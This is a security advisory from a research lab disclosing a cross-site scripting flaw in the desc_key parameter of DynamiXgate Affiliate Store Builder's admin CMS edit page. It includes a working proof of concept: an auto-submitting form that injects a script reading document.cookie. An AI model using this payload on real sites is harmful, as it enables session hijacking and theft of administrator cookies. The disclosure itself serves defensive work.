Cross-site Scripting (XSS) in DynamiXgate Affiliate Store Builder

High-Tech Bridge SA Security Research Lab has discovered vulnerability in DynamiXgate Affiliate Store Builder which could be exploited to perform cross-site scripting (XSS) attacks.

1) Cross-site scripting vulnerability in DynamiXgate Affiliate Store Builder
The vulnerability exists due to insufficient input sanitation in the HTTP POST parameter "desc_key" in /admin/edit_cms.php. A remote attacker can create a specially crafted page and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged in into the application.
Exploitation example:
<form action='http://host/admin/edit_cms.php?page=1' name="frm" method='post' >
<input name="title" type="hidden" value="Home"/>
<input name="type" type="hidden" value="header"/>
<input name="desc_meta" type="hidden" value="page+desc" />
<input name="desc_key" type="hidden" value='"><script>alert(document.cookie)</script>' />
<input name="cms_id" type="hidden" value="1" />
<input name="edit_page" type="hidden" value="Edit+Page" />
</form>
<script>
document.frm.submit();
</script>